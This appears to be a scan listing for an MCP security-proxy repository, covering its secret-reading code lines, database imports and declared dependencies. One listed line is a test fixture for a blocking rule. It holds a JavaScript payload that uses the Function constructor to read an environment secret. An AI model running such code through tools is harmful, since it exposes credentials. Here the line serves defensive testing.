secrets rudraneel93-mcp-guardian-56b1c51/packages/core/src/config/llm-config.ts :22 if (process.env.ANTHROPIC_API_KEY) return 'anthropic';
secrets rudraneel93-mcp-guardian-56b1c51/packages/core/tests/engine.test.ts :261 envBackup.ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY;
secrets rudraneel93-mcp-guardian-56b1c51/packages/core/tests/semantic-hardening.test.ts :58 delete process.env.ANTHROPIC_API_KEY;
secrets rudraneel93-mcp-guardian-56b1c51/scripts/export-tenant-bundle.mjs :14 const apiKey = process.env.CONTROL_PLANE_API_KEY;
secrets rudraneel93-mcp-guardian-56b1c51/scripts/generate-ci-token.mjs :39 if (process.env['GUARDIAN_CI_PRIVATE_KEY']) {
secrets rudraneel93-mcp-guardian-56b1c51/scripts/generate-compliance-evidence.mjs :151 encryptionAtRest: process.env['GUARDIAN_ENCRYPTION_KEY'] ? 'Enabled' : 'Not configured',
secrets rudraneel93-mcp-guardian-56b1c51/scripts/generate-corpus-fixtures.mjs :65 { toolName: 'execute_code', arguments: { code: "new Function('return process.env.SECRET')()", language: "javascript" }, expected: 'block', category: 'dangerous-js', ruleHint: 'function-ctor' },
secrets rudraneel93-mcp-guardian-56b1c51/scripts/issue-pilot-jwt.mjs :8 const secret = process.argv[2] ?? process.env.DASHBOARD_JWT_SECRET;
secrets rudraneel93-mcp-guardian-56b1c51/scripts/security-swarm/run-threat-lab.ts :70 process.env.GUARDIAN_SWARM_EVASION_SIGNING_KEY?.trim() ||
secrets rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/plain-english-report.mjs :217 const key = process.env.OPENAI_API_KEY || process.env.ANTHROPIC_API_KEY;

database 10

db rudraneel93-mcp-guardian-56b1c51/packages/core/src/ai/llm-cache.ts :3 import { Redis } from 'ioredis';
db rudraneel93-mcp-guardian-56b1c51/scripts/cost-audit.cjs :2 const Database = require('better-sqlite3');
db rudraneel93-mcp-guardian-56b1c51/scripts/full-cost-report.cjs :4 const Database = require('better-sqlite3');
db rudraneel93-mcp-guardian-56b1c51/scripts/postgres-partition-maintenance.mjs :6 import pg from 'pg';
db rudraneel93-mcp-guardian-56b1c51/scripts/postinstall-windows.cjs :21 require('better-sqlite3');
db rudraneel93-mcp-guardian-56b1c51/scripts/query-tokens.cjs :2 const Database = require('better-sqlite3');
db rudraneel93-mcp-guardian-56b1c51/scripts/rotate-field-encryption.mjs :2 import Database from 'better-sqlite3';
db rudraneel93-mcp-guardian-56b1c51/scripts/seed-proxy-data.cjs :2 const Database = require('better-sqlite3');
db rudraneel93-mcp-guardian-56b1c51/scripts/seed.cjs :1 const Database = require('better-sqlite3');
db rudraneel93-mcp-guardian-56b1c51/scripts/test-scale-postgres.mjs :6 import pg from 'pg';

declared dependencies 43

@mcp-guardian/core@workspace:^4.1.8
@mcp-guardian/plugin-sdk@workspace:^4.1.8
@modelcontextprotocol/sdk@^1.25.2
@opentelemetry/api@^1.9.1
@opentelemetry/auto-instrumentations-node@^0.75.0
@opentelemetry/exporter-trace-otlp-http@^0.217.0
@opentelemetry/sdk-node@^0.217.0
axios@^1.7.0
bash-parser@^0.5.0
better-sqlite3@^12.10.0
chalk@^5.3.0
chokidar@^5.0.0
commander@^12.0.0
express@^5.2.1
helmet@^8.1.0
ioredis@^5.10.1
jose@^6.2.3
js-yaml@^4.1.1
lru-cache@^11.3.6
pino@^10.3.1
prom-client@^15.1.3
proper-lockfile@^4.1.2
semver@^7.8.0
shell-quote@^1.8.3
tiktoken@^1.0.15
webhook-discord@^3.7.8
ws@^8.20.1
zod@^3.23.0
@modelcontextprotocol/server-filesystem@^2026.1.14
@types/better-sqlite3@^7.6.13
@types/express@^5.0.6
@types/js-yaml@^4.0.9
@types/node@^20.0.0
@types/pg@^8.20.0
@types/shell-quote@^1.7.5
@types/ws@^8.18.1
@vitest/coverage-v8@^3.2.4
tsx@^4.7.0
turbo@^2.9.14
typescript@^5.4.0
vitest@^3.2.4
@anthropic-ai/tokenizer@^0.0.4
pg@^8.20.0